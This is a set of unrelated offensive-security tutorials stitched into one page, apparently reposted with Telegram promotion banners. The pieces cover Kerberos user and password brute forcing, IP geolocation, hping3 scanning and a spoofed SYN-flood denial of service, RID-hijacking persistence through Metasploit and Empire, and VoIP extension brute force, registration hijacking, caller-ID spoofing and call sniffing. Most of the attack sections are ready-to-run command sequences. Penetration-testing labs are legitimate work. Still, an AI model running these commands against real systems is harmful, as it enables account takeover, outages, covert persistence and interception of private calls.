Kerberos Brute Force Attack

In the previous article, we had explained Forge Kerberos  Ticket  “Domain Persistence: Golden Ticket Attack”  where have discussed how Kerberos authentication process and what its service component. In this post, we are going to perform brute force attack on Port 88 that is used for Kerberos service for enumerating valid username & password.

Table of Content 

• Metasploit
• Nmap
• Rubeus
• Kerbrute

Metasploit

This module will enumerate valid Domain Users via Kerberos from an unauthenticated perspective. It utilizes the different responses returned by the service for valid and invalid users.

msf > use auxiliary/gather/kerberos_enumusers
msf auxiliary(gather/kerberos_enumusers) > set rhosts 192.168.1.105
msf auxiliary(gather/kerberos_enumusers) > set User_File /root/user.txt
msf auxiliary(gather/kerberos_enumusers) > set Domain ignite.local
msf auxiliary(gather/kerberos_enumusers) > exploit

As per this module, Valid user names will illicit either the TGT in a AS-REP response or the error KRB5KDC_ERR_PREAUTH_REQUIRED, signalling that the user is required to perform pre-authentication and hence this error confirms the username account is present on the given host.

As result we found three users (Yashika, geet, aarti) are valid user to access Kerberos service.

Nmap

Discovers valid usernames by brute force querying likely usernames against a Kerberos service. krb5-enum-users.realm, this argument is required as it supplies the script with the Kerberos REALM against which to guess the user names.

nmap -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='ignite.local',userdb=/root/user.txt 192.168.1.105

Similarly, nmap uses the same approach for enumerating Kerberos username.

Rubeus

Rubeus is a C# toolset for raw Kerberos interaction and abuses. It is heavily adapted from Benjamin Delpy’s Kekeo project (CC BY-NC-SA 4.0 license) and Vincent LE TOUX’s MakeMeEnterpriseAdmin project (GPL v3.0 license). Full credit goes to Benjamin and Vincent for working out the hard components of weaponization.

You can download it from here: https://github.com/r3motecontrol/Ghostpack-CompiledBinaries

Now run the following and provide a password list along with domain name.

.\Rubeus.exe brute /passwords:password.txt /WIN-S0V7KMTVLD2.ignite.local /outfile:ignite.txt

password.txt: Password Dictionary

WIN-S0V7KMTVLD2.ignite.local: hostname.domain_name

outfile:ignite.txt: Output file

It will enumerate the valid username & password by trying user, password combination.

Kerbrute 

A tool to quickly bruteforce and enumerate valid Active Directory accounts through Kerberos Pre-Authentication. Download it from here.

Similarly, kerbrute try to check valid username & password against Kerberos with the help of the following command.

python kerbrute.py -dc-ip 192.168.1.105 -domain ignite.local -users /root/user.txt -passwords /root/pass.txt -outputfile ignite.txt

How to Find the Exact Location of Any IP Address

Fire Up Kali & Open a Terminal

The first step, of course, is to fire up our our trusty Kali system, or in this case, any Linux distribution. Then, open a terminal.

Note: Be cautious of the formatting below for commands. The formatting of this article will create big space gaps since it stretches lines out to fit the margins. This is because of long URLs that try to fit themselves on a separate line. Large spaces equals just one space, so keep that in mind. Refer to the screenshots to see how they actually look.

Step 2Download the Database

Now we need to download the database from MaxMind, and we can get it by typing the following.

kali > wget -N -q http://geolite.maxmind.com/download/geoip/database/GeoLiteCity.dat.gz

Then we need to unzip it.

kali> gzip -d GeoLiteCity.dat.gz

Let’s now check that the database is in place by listing the directory.

kali > ls -alh GeoLiteCity.dat

Step 3Download & Install Pygeoip

Next, we need to install the Python script to read the database, pygeoip. We can download it by typing the following.

kali > wget http://pygeoip.googlecode.com/files/pygeoip-0.1.3.zip

Then, unzip it.

kali > unzip pygeoip-0.1.3.zip

We next need to download some setup tools into the pygeoip directory.

kali > cd /pygeoip-0.1.3

kali > wget http://svn.python.org/projects/sandbox/trunk/setuptools/ez_setup.py

kali > wget http://pypi.python.org/packages/2.5/s/setuptools-0.6c11-py2.5.egg

Let’s now move and then build and install the setup tools.

kali > mv setuptools-0.6c11-py2.5.egg setuptools-0.7a1-py2.5.egg

kali > python setup.py build

kali > python setup.py install

We need to move the database to the pygeoip directory so that script can access it without having to use the full path.

kali > mv GeoLiteCity.dat /pygeoip-0.1.3/GeoLiteCity.dat

Step 4Query the Database

Now that we have the database in place and the pygeoip script downloaded and installed, we can begin to query that database with pygeoip.

First, we need to start a Python shell.

kali > python

Then, you will be greeted will the triple >>> indicating you are now in an interactive python shell. Let’s import the module and instantiate the class.

>>>import pygeoip
>>>gip = pygeopip.GeoIP(‘GeoLiteCity.dat’)

Next, we are ready to begin our query. Let’s see where Google is located.

>>>rec = gip.record_by_addr(‘64.233.161.99’)
>>>for key.val in rec.items():
… print “%s: %s” %(key,val)
…

Please note that it is critical to indent the “print”. If not, you will throw an error.

As you can see, we were able to locate Google’s IP in Mountain View, CA at area code 650, postal code 94043, longitude -122.0574, and latitude 37.4192. Not bad! Now, let’s try to locate the IP of cnn.com.

Once again, the combination of the database and pygeoip script was able to provide us with key location information on CNN’s IP address.

Scan networks and perform DoS Attack

Hello everyone,

We will be discussing on how to perform scans on specific target and get as much info as possible, before we proceed with exploitation part. 

Now, before we start with our scan, let's get into the scan types:

There are two types of scanning

1. Passive Scan - Using this one, you don't want to be recognized by the target in this regard, you don't directly contact the target systems just by watching a network traffic flow passive scanners can deduce a large amount of information about the communicating systems. Now speaking of which, I'd recommend you using either tcpdump or wireshark (this one is my favorite), to monitor the network traffic, looking at the ARP table in a computer which is connected to the network is another example of passive scanning.
2. Active Scan - Scan the target systems, this requires more preparation for the attacker or pentester, because it leaves traces (a bit off-topic, I am always telling the same to people who searches for a tool that does everything for them, I'm more fan of a manual stuff in general, because overall scanners are noisy), which are likely to alert the target about your actions. Also the whole operation might be a huge headache for you, if its not done correctly, it can be an ineffective, inefficient way to gather information.

Some tools you can use

1. Nmap
2. Bootymapper - Made by HF member, it is similar to nmap
3. HPing - command line oriented TCP/IP packet analyser. Might look like a ping command, but this tool isn't able only to send ICMP echo requests (when i had my very first linux distro i always used hping, because it supports UDP,TCP,RAW and ICMP as i mentioned.
4. Scapy - Packet manipulation program that forges or decode packets of a wide number of protocols, it sends them on the wire, capture them, match requests and replies.
5. Traceroute - Simply just records the route thru the network between your computer and a specified destination computer.

Now, let's see how to use hping to scan the network. It really depends what distro you are using, if it's penetration based, hping will most likely be embedded into it, in my case, I'm using Fedora and it's not. But let's keep on-topic.
Spoiler If you use hping -h you will see detailed usage of hping3 commands, but as of now we will stick to scan mode (--scan)

The first parameter is scan to use hping in scan mode, now we must say in which ports we are going to scan, in the picture above I'm scanning from 0 to 80. Or maybe you can give a port range like this with a - between the lower bound and the upper one, another way is to separate them by a comma. After that I set a SYN flag of the packet (Because all TCP connections start with a SYN packet.) then we proceed with the next argument which is our target (IP Address). Hit enter to start the scan

Here we have the responding ports, and flags column says what the reply is. We sent SYN packets and get SYN-ACK packets, meaning the port is open and accessible to us.
DISCLAIMER: This is for educational purposes only, don't use it for illegal activities.
Now I'd like to show you how to perform an IP-Spoofed DoS using the same tool. Now I'm going to attack my own server, before that i need to ensure myself I'm having a connection.
Spoiler 

Okay, now the first parameter should be --flood (That sends packets as fast as possible, now to make it a SYN flood attack, we should set a -S parameter, since it's a legitimate TCP handshake, the server will try to respond to all the packets at the start of the TCP communication) now we will use -V for verbose mode (meaning we are going to see the results of all the sent packets), then we are going for --rand-source (assuming by the name, this will randomize the source ip addresses as if they are requested by different systems). Now you have to give the target domain.
Now because we are in flood mode, no replies will be shown.
Now you can try to browse some stuff and see the response time (it will be loading really slow). To stop the flood you simply have to press ctrl + c. After that you will see all the SYN packets being sent to the victim server.

No packets will be recieved because we randomised the source address

That was as of now, I'm heading out but i will edit the thread later on with some more content, such as IPSIDS evasion and timing scans.

Persistence: RID Hijacking

In this post, we will be discussed on RID hijacking which is considered as persistence technique in term of cyber kill chain and in this article, you will learn multiple ways to perform RID hijacking.

Table of Content

Introduction

• FSMO roles
• SID & RID
• Syntax
• Important Key points

RID-Hijacking

• Metasploit
• Empire

Introduction

Microsoft divided the responsibilities of a DC into FSMO roles that together make a full AD system, FSMO (Flexible Single Master Operation) has 5 responsibilities for forest and domain.

• Schema Master (one per forest)
• Domain Naming Master (one per forest)
• Relative identifier (RID) Master (one per domain)
• Primary Domain Controller (PDC) Emulator (one per domain)
• Infrastructure Master (one per domain)

SID & RID

The RID is a Relative Identifier which is the last part of SID (security identifier) and should be unique for a particular object within a domain. Each security principal has a unique SID that is issued by a security agent. The agent can be a Windows local system or domain. The agent generates the SID when the security principal is created. The SID can be represented as a character string or as a structure.

Syntax

Syntax: S-[Revision]-[IdentifierAuthority]-[SubAuthority0]-[SubAuthority1]-…-[SubAuthority[SubAuthorityCount]](-RID)

Eg: S-1-5-21-1543651058-3042185658-368006193-1001

Important Key points

• The revision is always 1 for current NT versions.
• When a new issuing authority is established under Windows (for example, a new computer is deployed or a domain is established), a SID with an arbitrary value of 5 is allocated as an identifier authority.
• A constant value of 21 is used as a particular value for the root of this group of sub-authorities, and a 96-bit random number is generated and parcelled out to the three sub-authorities with each sub-authority having a 32-bit chunk.
• If the new issuing authority under which this SID was developed is a domain, this SID is referred to as the “SID domain.”
• Windows allocates RIDs starting at 1,000; RIDs that have a value of less than 1,000 are considered reserved and are used for special accounts.
• For example, all Windows accounts with a RID of 500 are considered built-in administrator accounts in their respective issuing authorities.

RID Hijacking

‘RID Hijacking’ is a tactic for an adversary to persist inside the victim’s system by hijacking the RID the Administrator account for the Guest account, or another local account. Creating persistence in the victim’s system allows an adversary to establish a foothold, continuously regaining access that will be unseen to you and allow to hijacker to logon as an authorized account which adversary has hijacked.

Thus, for this, you need to have privilege account session as we have in the below image to establish persistence access.

Rid-Hijacking: Metasploit

So, as you know, we had meterperter session with admin privilege and Metasploit provides a module to create persistence in a victim’s machine by hijacking RID of administrator user.

 This module will create an entry on the target by modifying some properties of an existing account. It will change the account attributes by setting a Relative Identifier (RID), which should be owned by one existing account on the destination machine. Taking advantage of some Windows Local Users Management integrity issues, this module will allow authenticating with one known account credentials (like GUEST account), and access with the privileges of another existing account (like ADMINISTRATOR account), even if the spoofed account is disabled.

use post/windows/manage/rid_hijack
set getsystem true
set guest_account true
set session 2
set password 123
exploit

once you will run the exploit, will check state for a guest account and if found disable then first it will activate the account and then overwrite the RID value from 501 to 500 i.e RID of an administrator account.

As you have seen in the above step, the RID of guest is 500 and password is 123 thus we logged as a guest we should get administrator privilege CMD of the target machine. Here we are going to use impacket tool to get the CMD shell of the remote machine.

cd /impacket/example
./psexec.py Guest:123@192.168.1.107

As you can observe that we have obtained CMD Shell as “nt authority /system” i.e CMD as an administrator account.

Rid-Hijacking: Empire

RID hijacking is also possible using empire but this module is not available in Empire project you need to clone it module from Github.

git clone https://github.com/EmpireProject/Empire.git
git clone https://github.com/r4wd3r/RID-Hijacking.git

once both programs get downloaded fetch the Invoke-RIDHijacking.ps1 file from inside /RID-Hijacking/modules/empire/data/module_source/persistence into /root/Empire/data/module_source/persistence.

cd RID-Hijacking/modules/empire/data/module_source/persistence
cp Invoke-RIDHijacking.ps1 /root/Empire/data/module_source/persistence

Also copy the rid_hijack.py from /RID-Hijacking/modules/empire/lib/modules/powershell/persistence/elevated into /root/Empire/lib/modules/powershell/persistence/elevated

cd RID-Hijacking/modules/empire/lib/modules/powershell/persistence/elevated
cp rid_hijack.py /root/Empire/lib/modules/powershell/persistence/elevated

Once you are done with configuration then launch the module to start the attack, this will initialise the just like Metasploit. First, identify the state of the guest account and then hijack RID 500 for guest user.

usemodule persistence/elevated/rid_hijack*
set UserGuest True
set Password 123
set Enable True
execute

Again repeat the above step to connect CMD of victim’s machine assure that you should have a privilege shell.

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-azod/ecc7dfba-77e1-4e03-ab99-114b349c7164

+----------------------------------------------------- this is only an educational purpose I am not responsible for further activity join our forum and learn more about ethical hacking and penetration testing https;//t.me/WhiteHatHacks get me at below https://t.me/alex14324 https://github.com/alex14324 https://alex14324.blogspot.com ---------------------------------------------------------------------------------+

Penetration Testing on VoIP Asterisk Server

Today we will be learning about VoIP Penetration Testing this includes, how to enumeration, information gathering, User extension and password enumeration, sip registration hijacking and spoofing.

Table of Content

• Introduction to VoIP
  • Uses of VoIP
• SIP Protocol
  • SIP Requests
  • SIP Responses
  • SIP Interaction Structure
• Real-Time Transport Protocol
• Configurations Used in Practical
• Setting Viproy VoIP Kit
• Identifying SIP Servers
• Extension Brute-force
• Extension Registration
• Call Spoofing
• Log Monitoring
• Sniffing Calls using Wireshark

Introduction to VoIP

VoIP means Voice over Internet Protocol, it’s called IP telephony, VoIP is used for communication purpose. VoIP technology that allows you to make audio calls using the Internet connection instead of a regular phone (Landlines, mobile phone’s). Some VoIP partners may only allow you to call other people using the same service, but others may allow you to call anyone who has a telephone number – including local, long-distance, mobile, and international numbers. Also, while some VoIP services only work over your computer or a special VoIP phone (example a Cisco or Polycom, etc.).

VoIP by default use 5060 as its SIP signalling port. This used for registration When a phone (example a Cisco, Polycom, etc.) registers with Asterisk on port 5060.

The below mention functionality commonly used within VoIP installations that are not common in legacy telephony networks:

• Usage of multiple lines (PRI lines, BRI Lines) and extensions
• Voicemail service
• Voice recording
• Administrative Control
• Register calls
• Modular Configurations
• IVR and welcome messages

SIP Protocol

The Session Initiation Protocol (SIP) allows us to establish the communion, end or change voice or video calls. The voice or video traffic is transmitted via the Real-Time Protocol (RTP) protocol. SIP is an application layer protocol that uses UDP or TCP for traffic. By default, SIP uses port 5060 UDP/TCP for unencrypted traffic or port 5061 for TLS encrypted traffic. As we will see later, Man-in-the-Middle (MITM) attack vectors exist for all types of communication, including VoIP/SIP. Therefore, encryption is a necessary compensating control to have in place regardless of the environment or service method Session Initiation Protocol is ASCII based and very similar to the HTTP protocol as it uses a Request/Response Model. Requests to the SIP client are made through SIP URI and AGI via a user-agent similar to an HTTP request made by a web browser.

SIP Requests

The following request types are common within SIP:

Sno.	Request	Description
1.	INVITE	The client is being invited to participate in a call session
2.	ACK	Confirms that the client has received a final response to an INVITE request
3.	BYE	Terminates a call and can be sent by either the caller or the caller
4.	CANCEL	Deletes any pending request
5.	OPTIONS	Queries the capabilities of servers
6.	REGISTER	Registers the address listed in the header field with a SIP server
7.	PRACK	Provisional Acknowledgement
8.	SUBSCRIBE	Subscribes for an Event of Notification from the Notifier
9.	NOTIFY	Notify the subscriber of a new Event
10.	PUBLISH	Publishes an event to the Server
11.	INFO	Sends mid-session information that does not modify the session state
12.	REFER	Asks recipient to issue SIP request (Call Transfer)
13.	MESSAGE	Transports instant messages using SIP

Based on modifies the state of the session without changing the state of the dialogue

SIP Responses

We can understand the Responses using the Response code. The general categories of the Response codes are given below:

• 1xx (Informational)
• 2xx (Success)
• 3xx (Redirection)
• 4xx (Failed requests)
• 5xx (Web server cannot complete request)
• 6xx (Global errors)

SIP Interaction Structure               

The Typical SIP Interaction Structure consists of the following:

1. The sender initiates an INVITE request.
2. The receiver sends back a 100 (Trying) response.
3. The sender starts ringing by sending a 180 (Ringing) response.
4. The receiver picks up the phone and a 200  success response are sent (OK).
5. ACK is sent by the initiator.
6. The call started using RTP.
7. BYE request sent to end the call.

Real-time Transport Protocol

The RTP is a network protocol for delivering audio and video over networks. RTP protocol is used in communication and entertainment systems that involve streaming media such as telephony and video or teleconference applications. RTP default port from 16384 to 32767, those ports used for sip calls. Our scenario we are using UDP port range 10000-20000 for RTP-the media stream, voice and video channels.

Configurations used in Practical

• Attacker:
  • OS: Kali Linux 2020.1
  • IP: 192.168.1.4
• Target:
  • VOIP Server: Trixbox
  • VOIP Client: Zoiper
  • IP: 192.168.1.7

We have already published an article on How to Setup a VoIP Server. Please read it before proceeding further. We will be using the same server that we configured in that article

Lab Setup for VOIP Penetration Testing

Setting up Viproy VoIP Kit

Before beginning with the Penetration Testing, we need to add the Viproy-VoIP kit to our Metasploit. A detailed procedure on how to add modules in Metasploit can be found here. The steps depicted are taken form Rapid7 and Viproy Author.

We need to install some dependencies. First, we will be updating our repos and then install the following dependencies.

sudo apt update && sudo apt install -y git autoconf build-essential libcap-dev libpq-dev zliblg-dev libsqlite3-dev

Once we are done with installing all the dependencies, its time to clone the Viproy Repository to our Kali Linux. It contains the modules that we need to add in our Metasploit Framework

git clone https://github.com/fozavci/viproy-VoIPkit.git

Here we can see that we have the lib directory and the modules directory as well as the kaliinstall script.

Before running the script, we need to manually copy the contents of the lib directory and the modules directory to the Metasploit’s lib and modules directory respectively.

cp lib/msf/core/auxiliary/* /usr/share/metasploit-framework/lib/msf/core/auxiliary/
cp modules/auxiliary/VoIP/viproy-VoIPkit* /usr/share/metasploit-framework/modules/auxiliary/VoIP/
cp modules/auxiliary/spoof/cisco/viproy-VoIPkit_cdp.rb /usr/share/metasploit-framework/modules/auxiliary/spoof/cisco/

Now we need to make the entries of the modules we copied in the Mixins Files located at /usr/share/Metasploit-framework/lib/msf/core/auxiliary/.

echo "require 'msf/core/auxiliary/sip'" >> /usr/share/metasploit-framework/lib/msf/core/auxiliary/mixins.rb
echo "require 'msf/core/auxiliary/skinny'" >> /usr/share/metasploit-framework/lib/msf/core/auxiliary/mixins.rb
echo "require 'msf/core/auxiliary/msrp'" >> /usr/share/metasploit-framework/lib/msf/core/auxiliary/mixins.rb

This can be done manually as well or using some another text editor.

This is all that we needed to do. If this method doesn’t work or give some errors. The author was kind enough to give a pre-compiled version. To install that we will be following these steps.

First, we will clone the precompiled version form the GitHub.

git clone https://github.com/fozavci/metasploit-framework-with-viproy-VoIPkit.git

Then we will traverse into the directory and install the viproy using gem.

cd metasploit-framework-with-viproy/
gem install bundler
bundle install

It will take some time. After it’s done we will need to reload the modules in Metasploit Framework.

reload_all

That was the installation of the Viproy Toolkit. Let’s start Penetration Testing on our VoIP Server.

In a VoIP network, information that can be proven useful is VoIP gateway’s or servers, IP-PBX systems, client software (softphones)/VoIP phones and user extensions. Let’s have a look at some of the widely used tools for enumeration and fingerprinting.

Identifying SIP Servers

By using sip Metasploit Scanner Module identify systems by providing a single IP or a range of IP addresses we can scan all the VoIP Servers and their enabled options.

use auxiliary/scanner/sip/options
set rhosts 192.168.1.0/24
run

Here, we can see that our scan gave us a VoIP Server running on 192.168.1.7. We can also see that it has a User-Agent as “Asterisk” and we can see that it has multiple Requests enabled on it.

Extension Bruteforce

Next, we will be doing a brute-force on the target server to extract the Extensions and Passwords or secrets. For this particular practical, we made 2 dictionaries. One for the usernames and other for the passwords. Next, we need to define the range for the extensions. We chose the range 0000000 to 99999999. And then we run the exploit

use auxiliary/voip/viproy_sip_bruteforce
set rhosts 192.168.1.7
set minext 00000000
set maxext 99999999
set user_file /home/kali/user.txt
set pass_file /home/kali/pass.txt
exploit

Here, we can see that we were able to extract 10 extensions. Ensure that the secret that we setup for the extension is difficult to guess to prevent brute-force of this kind.

Extension Registration

Since we have the extensions and the secrets. Now it’s time to move one step ahead and register the extensions so that we can be able to initiate calls from the attacker machine. We chose the extension 99999999. We cracked its secret to be 999. Now, all we had to do is provide the server IP address and the extension and secret. As soon as we run the auxiliary, we get a 200 OK response from the server telling us that the extension is registered with this IP Address.

use auxiliary/voip/viproy_sip_register
set rhosts 192.168.1.7
set username 99999999
set password 999
run

Here, we have to register the software as we don’t have a trunk line or PSTN lines or PRI line for making the outgoing calls. Hence, we are testing the extension to extension calling.

Call Spoofing

In the previous practical, we registered the extension 99999999, now we will be using it for calling the extension 00000000. Here we can spoof the Caller ID to whatever we want. We have set it to Hacker. We need to define the login to true so that we can login into the server with the 999 secret. We also have to set the numeric user true so that it can accept the numeric extensions.

use auxiliary/voip/viproy_sip_invite
set rhosts 192.168.1.7
set to 00000000
set from 99999999
set login true
set fromname hacker
set username 99999999
set password 999
set numeric users true
run

As soon as we run the auxiliary, we can see that there is a call initiated from the extension 999999999 to the extension 00000000 which we set on our Zoiper Client. We can also see that we have the Hacker Caller ID that we set in the auxiliary.

Log Monitoring 

We can monitor the logs on the VoIP Server which contains the information about all the calls that were initiated, connected, dropped. All the extensions and other important information. We can always brute-force it or check for default credentials. First, we will connect the server using the ssh and then we will run the following command to open up the asterisk console panel. This panel records the logs in real-time.

ssh 192.168.1.7
asterisk -rvvvvvvvvvvvvvvv

Sniffing Calls using Wireshark

When users initiate a phone call, we can observe the captured SIP traffic using Wireshark. We launch the Wireshark and choose the network adapter on which the VoIP server is working on. Then we start capturing packets. If we observe closely, we can see that there is a tab called Telephony in Wireshark’s Menu. In the drop-down menu, we have the first option “VoIP Calls”.

As soon as we click on the VoIP Calls, a window opens up showing all the calls that have been captured during the sniffing. We see that there is a sequence of packets from one IP Address to another.

If we click on the Flow Sequence button at the bottom, we could see the SIP Communication handshakes that we learnt about in the Introduction.

In this picture, we can analyze a call in-detail. In a SIP call flow, there are several SIP transactions. A SIP transaction consists of several requests and answers and the way to group them in the same transaction is using CSeq:103 parameter.

The first step is the must be registering the extension. After extension registration corresponds to a session establishment. From extension 99999999 session consists of an INVITE request of the user to the 00000000. Immediately, the proxy sends a TRYING 100 to stop the broadcastings and reroute the request to the extension 00000000.

The extension 00000000 sends a Ringing 180 when the telephone begins to ring and it is also rerouting by the proxy to the A user. Finally, the OK 200 message corresponds to the accept process (the extension 00000000 response the call). After ringing the call server try to assign the RTP ports and the RTP transport protocol starts with the parameters (ports, addresses, codecs, etc.) of the SDP protocol. The last transaction corresponds to a session end. This is carried out with an only BYE request to the Proxy and later reroute to extension 00000000.

This user replies with OK 200 message to confirm that the final message has been received correctly. The call has been initiated by a user named hacker with the extension 99999999 to extension 00000000. The duration of the call and the current state can be seen in the above example. Wireshark assembled the call packets and now we can listen to the entire phone call. After disconnecting we play the entire phone call conversion.

When we click the Play Streams button it asks the output device based your laptop driver. Then we can click on Play Button and we can hear the conversation that was made on that VoIP Call.

This was one of the articles in a series of articles that we are currently researching on VoIP. Stay Tuned for more!

+------------------------------------------------- This is only an educational purposes only I am not responsible for further activities Join my forum and learn more ethical hacking and penetration testing https://t.me/WhiteHatHacks Get me at alex14324.blogspot.com https://t.me/alex14324 https://github.com/alex14324 -------------------------------------------------------+